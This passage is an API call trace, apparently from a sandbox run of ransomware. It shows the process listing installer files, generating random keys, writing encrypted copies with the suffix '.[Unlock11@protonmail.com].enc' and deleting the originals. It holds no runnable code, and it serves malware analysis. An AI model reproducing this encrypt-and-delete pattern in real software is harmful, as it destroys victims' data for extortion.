[0114.713] GetLastError () returned 0x0 [0114.713] GetCurrentThreadId () returned 0x9b0 [0114.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0114.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0114.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.713] GetLastError () returned 0x0 [0114.715] GetLastError () returned 0x0 [0114.715] GetCurrentThreadId () returned 0x9b0 [0114.715] GetLastError () returned 0x0 [0114.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.715] GetLastError () returned 0x0 [0114.716] GetLastError () returned 0x0 [0114.716] GetCurrentThreadId () returned 0x9b0 [0114.716] GetLastError () returned 0x0 [0114.716] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2c27) returned 0x36f8548 [0114.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.716] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2c35) returned 0x36f8548 [0114.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6cd8 [0114.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2c38) returned 0x3887a10 [0114.716] GetLastError () returned 0x0 [0114.716] GetLastError () returned 0x0 [0114.717] GetLastError () returned 0x0 [0114.717] GetLastError () returned 0x0 [0114.717] GetCurrentThreadId () returned 0x9b0 [0114.717] GetLastError () returned 0x0 [0114.717] GetCurrentThreadId () returned 0x9b0 [0114.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c35) returned 0x388a650 [0114.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.717] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0114.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.717] GetLastError () returned 0x0 [0114.717] GetLastError () returned 0x0 [0114.718] GetCurrentThreadId () returned 0x9b0 [0114.718] GetLastError () returned 0x0 [0114.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388a650 | out: hHeap=0x2ad0000) returned 1 [0114.718] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.718] GetLastError () returned 0x0 [0114.718] GetLastError () returned 0x0 [0114.718] GetCurrentThreadId () returned 0x9b0 [0114.718] GetLastError () returned 0x0 [0114.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.718] GetLastError () returned 0x0 [0114.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.719] CloseHandle (hObject=0x3ac) returned 1 [0114.719] GetLastError () returned 0x0 [0114.719] GetCurrentThreadId () returned 0x9b0 [0114.719] GetLastError () returned 0x0 [0114.719] GetLastError () returned 0x0 [0114.719] CloseHandle (hObject=0x39c) returned 1 [0114.719] GetLastError () returned 0x0 [0114.720] GetCurrentThreadId () returned 0x9b0 [0114.720] GetLastError () returned 0x0 [0114.720] GetLastError () returned 0x0 [0114.720] GetLastError () returned 0x0 [0114.720] GetLastError () returned 0x0 [0114.720] GetLastError () returned 0x0 [0114.720] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0114.721] GetLastError () returned 0x0 [0114.721] GetCurrentThreadId () returned 0x9b0 [0114.722] GetLastError () returned 0x0 [0114.722] GetLastError () returned 0x0 [0114.722] GetLastError () returned 0x0 [0114.722] GetLastError () returned 0x0 [0114.722] GetLastError () returned 0x0 [0114.722] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1055\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.722] GetCurrentThreadId () returned 0x9b0 [0114.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0114.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.723] GetCurrentThreadId () returned 0x9b0 [0114.723] GetLastError () returned 0x0 [0114.723] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0114.723] GetCurrentThreadId () returned 0x9b0 [0114.723] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.723] GetCurrentThreadId () returned 0x9b0 [0114.723] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.723] GetCurrentThreadId () returned 0x9b0 [0114.723] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.724] GetCurrentThreadId () returned 0x9b0 [0114.724] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.724] GetCurrentThreadId () returned 0x9b0 [0114.724] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.724] GetCurrentThreadId () returned 0x9b0 [0114.724] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0114.724] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0114.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0114.725] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0114.725] GetCurrentThreadId () returned 0x9b0 [0114.725] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0114.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.725] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0114.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0114.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0114.725] GetCurrentThreadId () returned 0x9b0 [0114.726] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.726] GetCurrentThreadId () returned 0x9b0 [0114.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0114.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0114.726] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.726] GetCurrentThreadId () returned 0x9b0 [0114.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.726] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0114.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.727] GetCurrentThreadId () returned 0x9b0 [0114.727] GetCurrentThreadId () returned 0x9b0 [0114.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.727] GetCurrentThreadId () returned 0x9b0 [0114.727] GetCurrentThreadId () returned 0x9b0 [0114.727] GetCurrentThreadId () returned 0x9b0 [0114.727] GetCurrentThreadId () returned 0x9b0 [0114.727] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a728 [0114.727] GetCurrentThreadId () returned 0x9b0 [0114.728] GetCurrentThreadId () returned 0x9b0 [0114.728] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c)) returned 1 [0114.728] GetCurrentThreadId () returned 0x9b0 [0114.728] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366478c | out: pbBuffer=0x366478c) returned 1 [0114.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0114.728] GetCurrentThreadId () returned 0x9b0 [0114.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0114.728] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.729] GetCurrentThreadId () returned 0x9b0 [0114.729] GetCurrentThreadId () returned 0x9b0 [0114.729] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.729] GetCurrentThreadId () returned 0x9b0 [0114.729] GetCurrentThreadId () returned 0x9b0 [0114.729] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.729] GetFileType (hFile=0x39c) returned 0x1 [0114.729] GetCurrentThreadId () returned 0x9b0 [0114.729] GetFileType (hFile=0x39c) returned 0x1 [0114.730] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.730] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.730] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.730] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.730] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.730] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.730] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.730] GetLastError () returned 0x0 [0114.730] GetCurrentThreadId () returned 0x9b0 [0114.730] GetLastError () returned 0x0 [0114.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0114.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.730] GetLastError () returned 0x0 [0114.730] GetLastError () returned 0x0 [0114.731] GetLastError () returned 0x0 [0114.731] GetLastError () returned 0x0 [0114.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d18 [0114.731] GetLastError () returned 0x0 [0114.731] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.733] GetFileType (hFile=0x3ac) returned 0x1 [0114.733] GetLastError () returned 0x0 [0114.733] GetCurrentThreadId () returned 0x9b0 [0114.733] GetLastError () returned 0x0 [0114.733] GetFileType (hFile=0x3ac) returned 0x1 [0114.733] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.733] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.733] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.733] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.734] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.734] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.734] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.734] GetLastError () returned 0x0 [0114.734] GetCurrentThreadId () returned 0x9b0 [0114.734] GetLastError () returned 0x0 [0114.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0114.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0114.734] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0114.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.734] GetLastError () returned 0x0 [0114.734] GetLastError () returned 0x0 [0114.734] GetCurrentThreadId () returned 0x9b0 [0114.735] GetLastError () returned 0x0 [0114.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.735] GetLastError () returned 0x0 [0114.735] GetLastError () returned 0x0 [0114.735] GetCurrentThreadId () returned 0x9b0 [0114.735] GetLastError () returned 0x0 [0114.735] GetLastError () returned 0x0 [0114.737] GetLastError () returned 0x0 [0114.737] GetCurrentThreadId () returned 0x9b0 [0114.737] GetLastError () returned 0x0 [0114.737] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xed21) returned 0x35c5908 [0114.737] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xed25) returned 0x35c5908 [0114.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d18 [0114.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xed28) returned 0x36f8548 [0114.738] GetLastError () returned 0x0 [0114.738] GetLastError () returned 0x0 [0114.738] GetLastError () returned 0x0 [0114.738] GetLastError () returned 0x0 [0114.738] GetCurrentThreadId () returned 0x9b0 [0114.738] GetLastError () returned 0x0 [0114.738] GetCurrentThreadId () returned 0x9b0 [0114.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xed25) returned 0x37bf790 [0114.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0114.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.739] GetLastError () returned 0x0 [0114.740] GetLastError () returned 0x0 [0114.740] GetCurrentThreadId () returned 0x9b0 [0114.740] GetLastError () returned 0x0 [0114.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.741] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.741] GetLastError () returned 0x0 [0114.741] GetLastError () returned 0x0 [0114.741] GetCurrentThreadId () returned 0x9b0 [0114.741] GetLastError () returned 0x0 [0114.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.741] GetLastError () returned 0x0 [0114.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.742] CloseHandle (hObject=0x3ac) returned 1 [0114.742] GetLastError () returned 0x0 [0114.742] GetCurrentThreadId () returned 0x9b0 [0114.742] GetLastError () returned 0x0 [0114.742] GetLastError () returned 0x0 [0114.742] CloseHandle (hObject=0x39c) returned 1 [0114.742] GetLastError () returned 0x0 [0114.742] GetCurrentThreadId () returned 0x9b0 [0114.742] GetLastError () returned 0x0 [0114.742] GetLastError () returned 0x0 [0114.743] GetLastError () returned 0x0 [0114.743] GetLastError () returned 0x0 [0114.743] GetLastError () returned 0x0 [0114.743] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0114.744] GetLastError () returned 0x0 [0114.744] GetCurrentThreadId () returned 0x9b0 [0114.744] GetLastError () returned 0x0 [0114.744] GetLastError () returned 0x0 [0114.744] GetLastError () returned 0x0 [0114.745] GetLastError () returned 0x0 [0114.745] GetLastError () returned 0x0 [0114.745] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\2052\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.745] GetCurrentThreadId () returned 0x9b0 [0114.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0114.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.745] GetCurrentThreadId () returned 0x9b0 [0114.745] GetLastError () returned 0x0 [0114.746] GetLastError () returned 0x0 [0114.746] GetLastError () returned 0x0 [0114.746] GetLastError () returned 0x0 [0114.746] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0114.746] GetLastError () returned 0x0 [0114.746] GetCurrentThreadId () returned 0x9b0 [0114.746] GetLastError () returned 0x0 [0114.746] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.746] GetLastError () returned 0x0 [0114.746] GetCurrentThreadId () returned 0x9b0 [0114.746] GetLastError () returned 0x0 [0114.747] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.747] GetLastError () returned 0x0 [0114.747] GetCurrentThreadId () returned 0x9b0 [0114.747] GetLastError () returned 0x0 [0114.747] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.747] GetLastError () returned 0x0 [0114.747] GetCurrentThreadId () returned 0x9b0 [0114.747] GetLastError () returned 0x0 [0114.747] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, 